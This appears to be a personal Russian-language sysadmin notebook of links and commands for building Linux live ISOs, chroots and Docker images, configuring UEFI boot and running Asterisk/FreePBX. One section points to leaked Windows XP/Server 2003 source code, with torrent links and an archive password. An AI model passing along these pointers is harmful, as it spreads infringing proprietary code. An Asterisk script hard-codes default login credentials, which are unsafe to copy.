https://openelec.tv/documentation/installing-openelec
https://www.openflixr.com/#Download
https://www.daphile.com/
https://libreelec.tv/

http://tug.org/texlive/acquire-iso.html
http://mirror.macomnet.net/pub/CTAN/systems/texlive/Images/

http://www.aiei.ch/gnustep/
http://mirror.noone.org/gnustep/
http://nightly.altlinux.org/p9/permalink/
http://www.gnustep.org/
https://wmlive.sourceforge.net/

https://freedombone.net/downloads/
https://freedombox.org/download/stable/
https://packages.qa.debian.org/f/freedombox-setup.html

https://downloads.openwrt.org/releases/
https://cumulusnetworks.com/
https://mikrotik.com/download
https://zeroshell.org/download/
https://www.vyos.io/
https://www.pfsense.org/download/
https://sgpfiles.pfsense.org/mirror/downloads/
https://opnsense.org/download/


https://freenas.org/download/
https://www.ipfire.org/
https://www.freepbx.org/downloads/
https://www.proxmox.com/en/downloads/category/proxmox-mail-gateway

https://github.com/getumbrel/umbrel

https://www.automotivelinux.org/software/download

https://store.steampowered.com/steamos/

http://downloads.artix.su/static/

https://www.nethserver.org/
https://zentyal.com/
https://www.univention.com/products/ucs/
https://www.clearos.com/

https://www.webosose.org/
https://github.com/webosose/build-webos/releases

https://porteus-kiosk.org/

https://steamdeck-images.steamos.cloud/recovery/

https://thinstation.github.io/thinstation/

https://dent.dev/dentos/
https://github.com/dentproject/dentOS/wiki/Installation

https://genode.org/index


------------------------------------------------------------------------
https://www.yoctoproject.org/
https://www.yoctoproject.org/software-overview/downloads/

https://radix.pro/
https://github.com/radix-platform

https://www.armbian.com/
https://github.com/NickAlilovic/build

------------------------------------------------------------------------
https://www.blackmagicdesign.com/ru/products/davinciresolve/
https://sethgoldin.github.io/install-davinci-resolve-centos/
http://downloads.blackmagicdesign.com/DaVinciResolve/DaVinci-Resolve-Linux-14.3-CentOS_7.3.iso
http://downloads.blackmagicdesign.com/DaVinciResolve/DaVinci-Resolve-Linux-14.3-CentOS_7.3.txt
------------------------------------------------------------------------


Установка
варианты установок
https://netboot.xyz/
https://netboot.xyz/booting/ipxe/
Админу на заметку - 26. Как установить любой популярный Linux по сети используя netboot.xyz
Автоматическая установка centos с kickstart

записать на флешку
в консоли
или удобной программе
http://wiki.rosalab.ru/ru/index.php/ROSA_ImageWriter
https://github.com/ventoy/Ventoy/releases
https://github.com/slacka/WoeUSB
https://unetbootin.github.io/
http://multibootusb.org/
https://etcher.io/

http://itfound.ru/89-debian-cdrom-no-detect.html
Поиск и монтирование CD-ROM
Стандартный CD-ROM не обнаружен

Detect and mount CD-ROM
No common CD-ROM drive was detected

Достаточно сменить режим работы с IDE на AHCI.
Advanced->Sata Configuration->Sata Mode Selection. И меняем с IDE на AHCI. Сохраняем настройки

если не помогло, то установка через
http://wiki.rosalab.ru/ru/index.php/ROSA_ImageWriter

если в ходе установки grub неправильно определил диск
https://debianforum.ru/index.php?topic=561.0
https://www.linux.org.ru/forum/linux-install/6670538

то загрузиться с лайвсд и переустановить grub, подправив fstab и grub.conf

https://blog.amet13.name/2014/02/linux-grub2.html
Мультизагрузочная флешка с несколькими ОС Linux

ошибки при установке
https://wiki.archlinux.org/index.php/Syslinux_(Русский)
https://wiki.syslinux.org/wiki/index.php?title=Library_modules

vesamenu.c32 not a com32r image
gfxboot.c32 not a com32r image
Быстрый способ решить эту проблему - нажать клавишу TAB, компьютер предоставит текстовое меню с вашими опциями, т.е. live live-install test etc.
или help
Копируем файлы /syslinux/isolinux.bin и /syslinux/vesamenu.c32 c образа диска Ubuntu на флэшку.

Failed to load ldlinux.c32
Boot failed: please change disks and press a key to continue.
Значит вы записали флешку для UEFI и достаточно выбрать соответствующий пункт в меню загруки (жми F8 в самом начале загрузки компьютера), в котором название флешки предваряется «UEFI:»

решилось с помощью
http://wiki.rosalab.ru/ru/index.php/ROSA_ImageWriter


сборка образов под свои нужды



развернуть
https://t2sde.org/
https://t2sde.org/handbook/html/index.html
https://www.linux-live.org/

https://wiki.archlinux.org/index.php/Archiso_(Русский)

https://wiki.debian.org/ru/Debootstrap
Ставим Ubuntu/Debian через debootstrap из другой Linux-системы
Reproducible Live images Debian
Создание собственного дистрибутива на базе Ubuntu с нуля
Debian 12.3. Автоматизированная установка Simple-CDD
Добавление пакетов к автономному установщику Lubuntu Alternate ISO
Простая кастомизация Ubuntu LiveCD
Как сделать свою сборку Ubuntu LiveCD в три простых шага
Кастомный LiveCD Ubuntu за 5 шагов / Ubuntu LiveCD Remastering
Настройка ISO-образов Ubuntu: документация и примеры использования isorespin.sh
https://help.ubuntu.com/community/LiveCDCustomization
https://help.ubuntu.com/community/InstallCDCustomization
Сборка KDE4 для Slackware 15.0 в стиле KTown — сборка на основе патчей PBSLACKS.
https://github.com/BrunoLafleur/pbslacks

Как создать образ диска в Linux с несколькими разделами, не имея физического образца
Создаем свой загрузочный диск Linux
Раскрываем секреты загрузочных ISO-образов

Анализ и разбивка составных файлов (прошивки, образы дисков)

https://www.altlinux.org/Mkimage/Profiles/m-p/howto
http://nightly.altlinux.org/docs/mkimage-profiles.html
https://www.altlinux.org/Mkimage/FAQ
https://www.altlinux.org/Starterkits/builder
https://www.altlinux.org/Starterkits
https://www.altlinux.org/UEFI

booty - утилита для создания загрузочных образов и накопителей
скрипт "Proxmox на минималках"
https://github.com/sp00f1ng/booty
https://github.com/Tomas-M/linux-live
https://github.com/neobht/uird
https://github.com/unixabg/remaster-iso
https://github.com/zac87/debootstrap_live
https://github.com/sharhalakis/fsprotect

https://github.com/livecd-tools/livecd-tools

cubic
http://ubuntu.fliplinux.com/cubic.html
https://linuxthebest.net/kak-sozdat-svoyu-sborku-linux/
sudo apt-add-repository ppa:cubic-wizard/release
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 6494C6D6997C215E
sudo apt update
sudo apt install cubic


Автоматическая установка с kickstart (uzverss установка dokuwiki centos php nginx)

How to create and use a Live CD/ru
Исполнители желаний: обзор конструкторов популярных Linux дистрибутивов
Использование LiveCD для создания пользовательского CentOS .ISO
https://build.opensuse.org/image_templates
Создание образа системы в Linux
Восемь утилит для создания своего собственного дистрибутива Linux
Создание образа Ubuntu для ARM «from scratch»

LinuxCOE SystemDesigner - это веб-приложение, которое позволяет пользователю последовательно устанавливать, настраивать и поддерживать установки системы Linux.

https://www.linux-live.org/
http://www.linuxrespin.org/
https://github.com/Distroshare/distroshare-ubuntu-imager
Create Your Own Linux Distro with Ubuntu Imager
http://www.slax.org/en/modules.php
https://chris-lamb.co.uk/projects/live-magic
http://linuxcoe.sourceforge.net/
http://www.linuxfromscratch.org/

https://openbuildservice.org/
https://wiki.debian.org/AutomateBackports

https://www.packer.io/
https://github.com/go-debos/debos
https://github.com/puppylinux-woof-CE/woof-CE

Создание образа (ов) Thinstation desktop OS.

https://github.com/osboot/make-initrd
https://www.altlinux.org/Make-initrd
Модифицируем процесс загрузки с помощью утилиты make-initrd
Создание загрузочных образов boobstrap v1.0
https://www.linuxfromscratch.org/blfs/view/systemd/postlfs/initramfs.html
man mkinitramfs update-initramfs make-kpkg

запись iso на usb с uefi
fdisk -l
fdisk /dev/sdb
o, n, p, t, ef, a, w
mkfs.vfat -F 32 -n INSTALLER /dev/sdb1
mount /dev/sdb1 /mnt/usb
mount -o loop Downloads/iso/образ.iso /mnt/iso/
cp -rfPp /mnt/iso/* /mnt/usb
sync
отмонтировать флкешку

create_installer_flash.sh




сделать загрузочную iso
OUTPUT=название_исошки
ISO_LABEL=название_раздела
ISO_DIR=каталог_с_исошкой
genisoimage -o "$OUTPUT" -D -J -r -l -b boot/syslinux/isolinux.bin -c boot/syslinux/boot.cat -no-emul-boot -boot-load-size 4 -boot-info-table -V "${ISO_LABEL}" "$ISO_DIR"
isohybrid "$OUTPUT"

монтирование
mount -t iso9660 -o ro /dev/cdrom /cdrom

fdisk -lu arch-live-usb_201105070115.img
mount -t auto -o loop,offset=$((2048*512)) arch-live- usb_201105070115.img /mnt/

ls /dev/mapper
losetup -a
kpartx -av sysresccd.img
kpartx -dv sysresccd.img
losetup --partscan --find --show sysresccd.img
mount /dev/loop1 -o loop /mnt/img
losetup -d /dev/loop1

перепаковка iso
вбиватся от рута, заменяя имя исошки на нужное

mkdir -p /mnt/cdrom /mnt/iso
ISO_INPUT="название_исошки.iso"
mount -o loop /opt/iso/${ISO_INPUT} /mnt/cdrom
cp -rfPp /mnt/cdrom/* /mnt/iso
ISO_OUTPUT="новое_название_исошки.iso"
ISO_LABEL="название_раздела"
ISO_DIR="/mnt/iso"
ISO_PARAMS="-b EFI/BOOT/efiboot.img -no-emul-boot -eltorito-alt-boot"

редактируется что надо, делается это в /mnt/iso
genisoimage -o "${ISO_OUTPUT}" -D -J -r -l ${ISO_PARAMS} -V "${ISO_LABEL}" "${ISO_DIR}"
isohybrid "${ISO_OUTPUT}"
umount /mnt/cdrom
rm -rf /mnt/iso/*

перепаковка initrd.gz
распаковка из под рута:
zcat initrd.gz | cpio -i
запаковать:
find . | cpio -H newc -o | gzip > ../initrd.gz




docker
https://hub.docker.com/_/scratch
https://ru.stackoverflow.com/questions/839297/Как-получить-docker-образ-астралинукса-ce
создать минимальный chroot и из него — образ:
$ sudo tar -C каталог-с-chroot-ом -c . | docker import - название-образа

https://www.linuxquestions.org/questions/slackware-14/slackware-64-14-2-chroot-4175615212/
https://docs.slackware.com/howtos:general_admin:setting_up_a_slackware_chroot

Автоматически
http://tty1.uk/scripts/slackware/mkchroot
Вручную
Сначала создайте папку, которая будет содержать chroot:
mkdir /chroot_folder
Монтируем установочный ISO:
mount -o loop slackware-14.1-install-dvd.iso /mnt/cdrom # файл iso
mount -t iso9660 -o ro /dev/cdrom /cdrom # диск в cdrom
cd /mnt/cdrom
После монтирования ISO пакеты (находящиеся в папке slackware или slackware64 ) можно установить в папку chroot с помощью:
installpkg --root /chroot-folder */*.t?z
Затем размонтируйте ISO:
umount /mnt/cdrom

быстрый способ



tar -czvf chroot-slask.tar.gz chroot/
tar -xavf chroot-slask.tar.gz
tar -C chroot -c . | docker import - slackware64

С помощью boxer
pip install funtoo-boxer
$ boxer docker --tag funtoo/boxer-generic_64:2022-06-16 --stage /var/tmp/stage3-generic_64-next-2022-06-16.tar.xz
$ docker run -d --name=foobs funtoo/boxer-generic_64:2022-06-16
$ docker exec -it foobs /bin/bash

увеличить диск на виртуалке
qemu-img resize виртуалка.qcow2 +10G
parted
(parted) select /dev/sda
(parted) print
(parted) resizepart
Partition number? 1
End? [10.0GB]? 30G
(parted) quit
resize2fs /dev/sda1


docker команды
docker image ls
docker run --rm -it slackware64 /bin/bash # опция --rm -если надо чтобы потом контейнер был автоматически удалён

копирование
docker run -v /каталог_на_компе:/каталог_в контейнере
Скопировать файл с хоста в контейнер:
$ docker cp foo.txt имя_контейнера:/foo.txt
Скопировать файл с Docker-контейнера на хост:
$ docker cp имя_контейнера:/foo.txt foo.txt
docker export имя_контейнера | docker import - slackware64-mini
docker save slackware64-mini > slackware64-mini.tgz
docker load -i slackware64-mini.tgz

https://github.com/docker-library/docs
https://docs.docker.com/engine/reference/builder/
Create docker image from scratch
Linux-дистрибутив from scratch для сборки Docker-образов — наш опыт с dappdeps
Как создать наименьший возможный контейнер Docker из любого образа
OpenWrt как родной образ Docker
Распаковка образов Docker с помощью Undocker
https://github.com/moby/moby/blob/master/contrib/mkimage-alpine.sh
https://github.com/moby/moby/blob/master/contrib/mkimage-arch.sh
https://github.com/moby/moby/blob/master/contrib/mkimage-crux.sh
https://github.com/moby/moby/blob/master/contrib/mkimage-yum.sh
Создание базовых изображений

chroot
Настройка необходимых файлов
fstab
Следующий минимальный фрагмент можно использовать для /chroot_folder/etc/fstab



Вход в Chroot
Далее нам нужно подготовить три виртуальных каталога для использования в среде. Это /dev, каталог с виртуальными файлами, представляющими аппаратные устройства, /proc, каталог с виртуальными файлами, представляющими процессы, и /sys, содержащий ядро ​​и другие системные файлы:
mount -o bind /dev /mnt/dev
mount -o bind /proc /mnt/proc
mount -o bind /sys /mnt/sys

Чтобы смонтировать chroot на постоянной основе, добавьте следующее в /etc/fstab вашей хост-системы :



И перезагрузиться. Затем выполните следующую команду, чтобы смонтировать папку chroot:
mount /chroot_folder
Теперь, когда chroot настроен, в него можно выполнить chroot:
chroot /chroot_folder /bin/bash

https://wiki.archlinux.org/title/Chroot
# cd /location/of/new/root
# mount -t proc /proc proc/
# mount -t sysfs /sys sys/
# mount --rbind /dev dev/

винда
Как подготовить свой установочный образ Windows
Создание своего дистрибутива на базе MS Windows 7
MSMG ToolKit
MSMG ToolKit или создаем свой установочный дистрибутив Windows 10
Как создать собственную сборку Windows 10 с помощью инструмента MSMG ToolKit
https://www.ntlite.com/

https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server
Windows Embedded Standard 2009
Windows XP
https://msdn.lol-inter.net/
https://github.com/mauricew/msdnhash

копии оригинальных утечек:
https://github.com/tongzx/nt5src
https://github.com/selfrender/Windows-Server-2003
https://git.kicker.dev/archive/windows-xp
https://git.kicker.dev/archive/windows-server-2003
https://wink.messengergeek.com/t/windows-xp-server-2003-source-code-revisited/22711
https://rentry.co/build-win2k3
Исходный код: https://gg.gg/srv03rtm
Отсутствующие файлы: https://drive.google.com/file/d/1h_v29kNs-XaoitMrXU3rL1cY3kZqUOZg/view
https://archive.org/details/ws03_ntdev
https://archive.org/details/microsoft-leaked-source-code-archive-2020-09-24
https://www.reddit.com/r/windowsxp/comments/iz46du/comment/g6gwcpo/
https://www.limetorrents.lol/Microsoft-leaked-source-code-archive%202020-09-24-torrent-15247398.html
Утечка исходных текстов Windows XP SP1, Windows Server 2003 и других старых ОС






windows_xp_source.rar Password: internaldev


разное
всякое, разное с лора
https://www.linux.org.ru/forum/general/13540544
mkdir /mnt/iso
mount -t iso9660 /home/zenitur/ISO/ubuntu-17.04-desktop-amd64.iso -o loop /mnt/iso
mkdir /mnt/squashfs
mount -t squashfs /mnt/iso/isolinux/filesystem.squashfs -o loop /mnt/squashfs
cd /mnt/squashfs
mkdir /home/zenitur/ubuntu-image
cp -ax ./* /home/zenitur/ubuntu-image
cd /home/zenitur/ubuntu-image
umount /mnt/squashfs
umount /mnt/iso
mount -t proc none /home/zenitur/ubuntu-image/proc
mount --rbind /dev /home/zenitur/ubuntu-image/dev
mount --rbind /sys /home/zenitur/ubuntu-image/sys
chroot /home/zenitur/ubuntu-image
# source /etc/profile
# export PS1="(chroot) $PS1"
(chroot) #

Дальше нужно сгенерировать локали. раскомментировать в /etc/locales локаль en_US.UTF-8, затем выполнить locale-gen
А вот эта команда избавит от WARNING-ов при работе с некоторыми программами (они не фатальны).
mkdir -p /tmp/.private/root

Затем нужно внести изменения, ради которых всё затевалось.

Затем выйти из chroot командой exit. Затем можно, но не обязательно, привести систему к изначальному виду: удалить .bash_history в директории root. Удалить /tmp/.private. Закомментировать локаль обратно. А если устанавливал пакеты - удалить var/cache/apt/archives/*.deb

umount /home/zenitur/ubuntu-image/proc
cat /proc/mounts | awk '{print $2}' | grep "/home/zenitur/ubuntu-image/dev" | sort -r | xargs umount
cat /proc/mounts | awk '{print $2}' | grep "/home/zenitur/ubuntu-image/sys" | sort -r | xargs umount
mksquashfs ./* ../filesystem.squashfs

------------------------------------------------------------------------
сохранить систему в образ
e2image -ar /dev/sdX ~/sdaX.img

https://bootlin.com/pub/conferences/2017/jdll/opdenacker-embedded-linux-in-less-than-4mb-of-ram/opdenacker-embedded-linux-in-less-than-4mb-of-ram.pdf

Загрузочный образ Acronis + VNC + VPN
Менеджер пакетов opkg. Offline инсталляция пакетов в образ корневой файловой системы

slackbuilds.org
https://www.linux.org.ru/gallery/screenshots/13517201?cid=13517584
Исходники можно отзеркалировать так:
rsync -rtLvH --delete-after --delay-updates --safe-links --copy-links --ignore-errors --ignore-existing rsync://slackware.uk/sbosrcarch/by-name/ /mnt/mpt0/system/slackware/sbosrcarch/

Сами слакбилды можно синхронизировать, например, через github: https://github.com/willysr/slackbuilds .

Пакеты и исходники -current ветки тоже можно регулярно синхронизировать с их локальным зеркалом:
rsync -rtLvH --delete-after --delay-updates --safe-links --copy-links --ignore-errors --ignore-existing rsync://mirror.yandex.ru/slackware/slackware64-current/ /mnt/mpt0/system/slackware/slackware64-current/

полезное при сборке linux
http://dl.t2-project.org/binary/2021/
https://www.linuxfromscratch.org/
https://www.linuxfromscratch.org/alfs/
https://www.linuxfromscratch.org/blfs/
https://lx4u.ru/
https://www.lfscript.org/wiki/BuildISO
https://sourceforge.net/projects/lfs-livecd/
https://github.com/emmett1/lfs-scripts
https://github.com/teo-en-ming/teo-en-ming-linux
https://github.com/nobodino/slackware-from-scratch
http://bear.alienbase.nl/cgit/liveslak/tree/make_slackware_live.sh
http://git.liveslak.org/liveslak/tree/iso2usb.sh
# ./iso2usb.sh -i ~/Download/slackware64-live-14.2.iso -o /dev/sdX
# ./iso2usb.sh -P -i ~/Download/slackware64-live-current.iso -o /dev/sdX
# ./iso2usb.sh -i slackware64-live-xfce-current.iso -o /dev/sdX -c 50%

https://www.gnu.org/manual/
https://gcc.gnu.org/onlinedocs/gccint/index.html
https://www.gnu.org/savannah-checkouts/gnu/make/manual/make.html
https://www.gnu.org/savannah-checkouts/gnu/autoconf/manual/autoconf-2.69/autoconf.html
http://git.savannah.gnu.org/cgit/
https://book.linuxfromscratch.ru/systemv/
https://book.linuxfromscratch.ru/systemv-nc/systemv.txt
https://linuxfromscratch.ru/patches/downloads/
ftp://ftp.lfs-matrix.net/pub/blfs/
http://www.linuxfromscratch.org/lfs/downloads/

https://gcc.gnu.org/wiki/InstallingGCC
https://gcc.gnu.org/onlinedocs/gcc/Warning-Options.html#Warning-Options
https://gcc.gnu.org/onlinedocs/gcc/Directory-Options.html
https://gcc.gnu.org/wiki/FAQ#configure_suffix
https://wiki.osdev.org/GCC_Cross-Compiler
http://ftp.gnu.org/pub/gnu/gcc/
https://github.com/archlinux/svntogit-packages/blob/packages/gcc/trunk/PKGBUILD
https://github.com/archlinux/svntogit-packages/commits/packages/gcc/trunk/PKGBUILD
https://github.com/archlinux/svntogit-packages/blob/822476b38dfe76acca6ec207e7ae99a79263677a/trunk/PKGBUILD

https://docs.microsoft.com/ru-ru/cpp/preprocessor/c-cpp-preprocessor-reference?view=vs-2019

http://git.savannah.gnu.org/cgit/config.git/plain/config.sub
http://git.savannah.gnu.org/cgit/config.git/plain/config.guess



ознакомиться
1. Прежде всего, тебе нужен отдельный /boot раздел и диск разбитый как GPT.
Если собирал ядро сам, то 32Mb будет более чем достаточно, но так как это инструкция для общего случая, то рекомендую ставить 128Mb, благо, по сегодняшним меркам это не так уж плохо.

Разбивать диск рекомендую программной gdisk, если не боишься консоли и готов читать встроенные инструкции или gparted, если хочешь привычный мышетыкательный нитерфейс.

2. Этот раздел должен быть в FAT32 из-за специфики работы EFI.
mkfs.vfat -F32 /dev/sdXY, где X и Y это буква и номер /boot раздела соответственно.

3. Далее есть несколько способов запуска нашего ядра.
Напрямую при помощи "биоса". Работает только с собранным вручную ядром
В этом случае нужно создать директорию /boot/efi/boot/ и скопировать наше ядро туда с именем bootx64.efi или bootx32.efi. Если всё сделали правильно, то при выборе загрузочного диска появится новая опция и никаких дополнительных действий не потребуется.

Напрямую, но с дополнительным прописыванием при помощи efibootmgr. Работает в большинстве случаев
Устанавливаем efibootmgr и прописываем
efibootmgr -d /dev/sdX -p Y -c -L "Название в Загрузчике" -l /vmlinuz-linux -u "root=/dev/sdXY rw initrd=/initramfs-linux.img"
Где X- буква диска, на котором у вас рут /, а Y- соответственно, раздел.

Убедись, что ты установил ядро и в /boot/ лежат файлы vmlinuz-linux и initramfs-linux.img. Если они называются иначе (например, initramfs любит так делать), то обязательно подправь запись, иначе ничего не загрузится.

Проверь запись, выполнив efibootmgr

С помощью загрузчика, вроде GRUB
Установи efibootmgr и grub и выполни
grub-install --target=x86_64-efi --efi-directory=/boot --bootloader-id=название_при_загрузке --recheck
Не забудь сменить target на свой Естественно, этот способ наименее надёжен, так как за вас всё делает программа и добавляет сомнительно полезный GRUB.

4. Готово, у тебя должна загрузиться система с EFI.
Я рекомендую использовать именно второй способ, поскольку он сочетает удобство, простоту и надёжность.
Я слышал, что Secure Boot не даёт загрузить Linux
Отчасти. Он был разработан, чтобы только правильно подписанный код можно было запустить при помощи EFI в биосе. Этот код можно получить, например, у Microsoft. Соответственно, далеко не у всех он есть.

Но хорошая новость в том, что, как правило, он легко отключается в самом биосе.


команды
проверка используем BIOS или UEFI.
test -d /sys/firmware/efi && echo UEFI || echo BIOS

efibootmgr
--create или -c, чтобы создать новую запись;
--part или -p, за которой следует номер раздела, на котором находится EFI System Partition;
--disk или -d, за которой следует диск, на котором находится системный раздел EFI;
--label или -L, за которой следует метка, которую необходимо использовать для загрузочной записи;
--loader или -l, за которой следует путь к образу EFI для загрузки

увидеть номер системного раздела EFI, тип таблицы разделов (GPT), UUID системного раздела EFI и файл загрузчика
sudo efibootmgr -v

создать запись
efibootmgr --create --disk /dev/sdX --part Y --label "Arch Linux" --loader /vmlinuz-linux --unicode 'root= block_device_identifier rw initrd=\initramfs-linux.img'

передав в качестве аргументов следующие значения: --bootnum или -b с идентификатором, и --delete-bootnum или -B, означающая, что нужно удалить запись:
sudo efibootmgr -b номер -B

Чтобы сделать загрузочную запись активной, выполните:
sudo efibootmgr -b номер -a
сделать не активной
sudo efibootmgr -b номер -A

Изменение порядка загрузки
sudo efibootmgr -o 0003,0001,0004,0000
В данном примере пункт 0003 станет первым, 0001 вторым, 0004 третьим и 0000 четвертым в меню UEFI BIOS.

Изменение порядка загрузки только для следующей загрузки
efibootmgr -n 4

ссылки
взято тут
https://wiki.debian.org/EFIStub
http://help.ubuntu.ru/wiki/uefiboot
https://wiki.archlinux.org/title/Unified_Extensible_Firmware_Interface_(Русский)
https://wiki.archlinux.org/title/EFISTUB
https://linux.die.net/man/8/efibootmgr
Настройка UEFI-загрузчика. Самое краткое руководство в мире
Настройка UEFI Dual Boot системы, приправленной rEFInd
Научите: Win7 + GPT + Grub
Converting to GPT in Ubuntu
https://wiki.gentoo.org/wiki/GRUB#EFI_system_partition
http://manual.aptosid.com/en/part-gdisk-en.htm
UEFI не видит установленный Linux (РЕШЕНО)




развернуть
http://www.asterisk.org/
http://asterisk.ru/
https://www.freepbx.org/
http://freeswitch.com/
http://fusionpbx.com/
https://www.voipobzor.ru/
https://asterisk-pbx.ru/wiki/freepbx
https://asterisk-pbx.ru/wiki/freeswitch
https://habrahabr.ru/hub/Asterisk/
http://linux.mixed-spb.ru/asterisk/
http://prosto-seti.blogspot.ru/search/label/IP-телефония
------------------------------------------------------------------------

Телефония → FreePBX и Asterisk
help.ubuntu Сервер телефонии Asterisk

установка и первоначальная настройка Asterisk
Простая установка Asterisk + FreePBX для начинающих
Установка Asterisk на Debian
Установка Asterisk + Freepbx на Debian/Ubuntu
Как установить Asterisk на CentOS 6
Установка asterisk и freepbx на CentOS 7
Установка FreePBX distro
Установка Asterisk 14 на CentOS 7
Установка Asterisk LTS на CentOS 7
Asterisk 15 installation on Centos 7 and basic configuration of realtime
Установка Asterisk c помощью YUM
установка Asterisk
Asterisk — SIP АТС для офиса, пошаговая инструкция по настройке с нуля
------------------------------------------------------------------------
Установка Asterisk на CentOS 7 через Yum

Настройка подключения по ssh
systemctl status sshd.service
systemctl start sshd.service
systemctl enable sshd.service
------------------------------------------------------------------------
Asterisk — SIP АТС для офиса, пошаговая инструкция по настройке с нуля
FreePBX 13 настройка c нуля
Asterisk. Начало
Настройка FreePBX | Первые действия после установки FreePBX
Подключение Asterisk к аналоговой АТС

------------------------------------------------------------------------
Обновляем FreePBX до 14 версии
Как удалить asterisk/freepbx с сервера

------------------------------------------------------------------------
FreePBX 13 – маршрутизация вызова

FreePBX: первые шаги по граблям
Передача сигналов DTMF в сообщениях протоколов VoIP и взаимодействующий на CUBE
DTMF и его настройка. Часть1. Теория
Возврат звонка после безусловного / "слепого" перевода
------------------------------------------------------------------------
HANGUPCAUSE В ASTERISK И ИХ ЗНАЧЕНИЯ
Использование переменных в плане набора Asterisk
ИНТЕРЕСНОЕ ПРО ARI (ASTERISK REST INTERFACE)

------------------------------------------------------------------------

Пошаговая настройка видео – звонков на Asterisk
Запись разговоров с помощью FreePBX
Настройка Conference Pro в FreePBX
Postfix: настройка отправки почты в Asterisk
Интеграция FreePBX 13 и Microsoft Active Directory
Запуск команд на Mikrotik по звонку на FreePBX
Русскоговорящий будильник/напоминаловка для Asterisk
Asterisk. Делаем простейшее голосовое меню (IVR).
Настройка CEL в Asterisk
что такое cel channel event logging на asterisk?
на лету: громкость микрофона в asterisk

http://wiki.merionet.ru/ip-telephoniya/
http://wiki.merionet.ru/navigation/?section1=Телефония§ion2=FreePBX+и+Asterisk§ion3=Инструкции
------------------------------------------------------------------------
Web интерфейс прослушивания записей звонков Asterisk
Допиливаем» Asterisk CDR Viewer под себя

------------------------------------------------------------------------
Звонок-оповещение Zabbix через Asterisk на мобильный телефон
Asterisk. Интерфейс AGI. Функция GotoIf
База asteriskcdrdb и как с ней работать?
Автоматизация вызовов абонентов в Asterisk.
Автоматизация вызовов абонентов в Asterisk
Asterisk. Разгружаем секретаря/диспетчера/первую линию тех. поддержки
Использование Call-файлов в Asterisk
Asterisk Call Files
как позвонить из командной строки | asterisk
развернуть
originate SIP/sipprovider/1234567 extension 101@from-internal
1234567 - конкретный номер через транк
101 - ваш внутренний номер, с которым будет установлено соединение 1234567

------------------------------------------------------------------------
Нотификация/оповещение из Nagios через Asterisk
Подключение Asterisk к MySQL через драйвер ODBC
Asterisk 1.8 пишем CDR используя ODBC
------------------------------------------------------------------------
Команды CLI Asterisk
AGI (Asterisk Gateway Interface) - интерфейс взаимодействия с внешними скриптами
Python AGI http://sourceforge.net/projects/pyst
Команды AMI
Команды плана набора IP АТС Asterisk
Asterisk AMI — первые шаги
Настройка доступа к AMI
Asterisk + AMI + Python
Подключение к FireBird из Python и мониторинг факта записи в БД
Asterisk: обратный вызов с использованием AMI
https://pypi.org/project/asterisk-ami/
https://pypi.org/project/fdb/
http://www.pycall.org/
https://github.com/IVRTech/pystrix
Автоматический обзвон абонентов, Asterisk автообзвон
Asterisk - автоматический обзвон с помощью call файлов в Linux
Бесплатный автообзвон должников на Asterisk
Asterisk: автообзвон (auto-dial out) и обратный звонок (callback) с использованием AGI
https://asterisk-pbx.ru/wiki/asterisk/dialplan
------------------------------------------------------------------------
Asterisk. Конфигурационные файлы.
Asterisk. Шаблоны в конфигах.
Приложения Asterisk
Asterisk. Запись параметров вызовов (CDR)
Elastix — Asterisk как система экстренного голосового оповещения
FreePBX и CallBack: видеть номера звонящих
Asterisk. Основные кодеки.
http://zarubochki.ru/taxonomy/term/15
------------------------------------------------------------------------
Подключение к Asterisk AMI из BASH скрипта
http://www.pbxware.ru/wiki/podklyuchenie_k_asterisk_ami_iz_bash_skripta/
#!sh

#!/bin/sh
#
#run - user@host:$ ./call.sh | telnet
#
echo "open 127.0.0.1 5038"
sleep 2
echo "Action: Login"
echo "Username: admin"
echo "Secret: amp111"
echo
sleep 2
echo "Action: Originate"
echo "Channel: SIP/101" #внутрений телефон
echo "Context: outrt-001-9_outside" #Dial Patterns, который создается
вместе с Outbound Routes, находится в extensions_additional.conf
echo "Exten: 74951000000" #с кем мы собственно соединяем
echo "Priority: 1"
echo "Callerid: 123000"
echo
echo
sleep 10

------------------------------------------------------------------------
Файлы конфигурации Asterisk
Настройка SIP в Asterisk - sip.conf
Asterisk + Fail2Ban
Asterisk + IPTables
------------------------------------------------------------------------
Проблемы со слышимостью в Asterisk
NAT, SIP и Asterisk нет звука, нет звука в одну сторону, нет слышимости
Asterisk за NAT-ом
Сброс пароля на cisco linksys spa8000

VoIP-шлюз Eltex TAU-16 в качестве АТС
------------------------------------------------------------------------
Битва титанов FreeSwitch vs. Asterisk — Тест производительности
Инструкции по настройке VoIP программ
Сравнить провайдеров VoIP

видеоматериалы
------------------------------------------------------------------------
Mihail Kozlov Linux, BSD, Asterisk
https://www.youtube.com/playlist?list=PL5KGx5_ykLX_1YM43xZPUZ_smapkeogPm
------------------------------------------------------------------------
Learning Asterisk
Дополнительные материалы
https://www.youtube.com/channel/UCjwCnCaDGemDbiyGP_aWVMQ/playlists
https://www.youtube.com/playlist?list=PL1LeoQF_fJbwBLeP3qXoq1jcsw7gF1_aD
------------------------------------------------------------------------
Логово системного администратора Программирование Мини АТС Панасоник
https://www.youtube.com/playlist?list=PLxVdPxr08ltOAfKa2VKbzRiE7kBxvRzf1
------------------------------------------------------------------------
Centos Admin FreePBX и Asterisk
https://southbridge.io/
https://www.youtube.com/playlist?list=PL8D2P0ruohOB-enCRskq0IozZc-6bLKv5
------------------------------------------------------------------------
Hirurg Neo Freepbx
https://www.youtube.com/playlist?list=PLmH3hiUNSN4bg7ixGBVjt7JXjFNnQjigR
------------------------------------------------------------------------
Владимир Набока Asterisk
https://www.youtube.com/playlist?list=PLUAuq5xDLx48kn4DovrT-fMLZgKaiA-Z7
------------------------------------------------------------------------
Мерион Нетворкс
http://wiki.merionet.ru/ip-telephoniya/
https://www.youtube.com/channel/UCSTYGpIpMIiQPspjLplB6Ow
------------------------------------------------------------------------
MikroTik
MikroTik в сетях IP телефонии Asterisk
https://www.youtube.com/watch?v=gtDn-HHBOyQ
------------------------------------------------------------------------
Mihail Kozlov Python и Asterisk: инициируем звонок с помощью pycall
Mihail Kozlov Linux, BSD, Asterisk
https://www.youtube.com/playlist?list=PL5KGx5_ykLX_1YM43xZPUZ_smapkeogPm
------------------------------------------------------------------------


LinkMeUp. Выпуск № 40. VoIP QoS, NAT, Безопасность
http://linkmeup.ru/blog/244.html

Руководство администратора FreePBX на русском языке
Команды CLI Asterisk

https://jami.net/

сеть GSM
https://ru.wikipedia.org/wiki/Опорная_сеть_GSM
http://osmocom.org/projects/openbsc
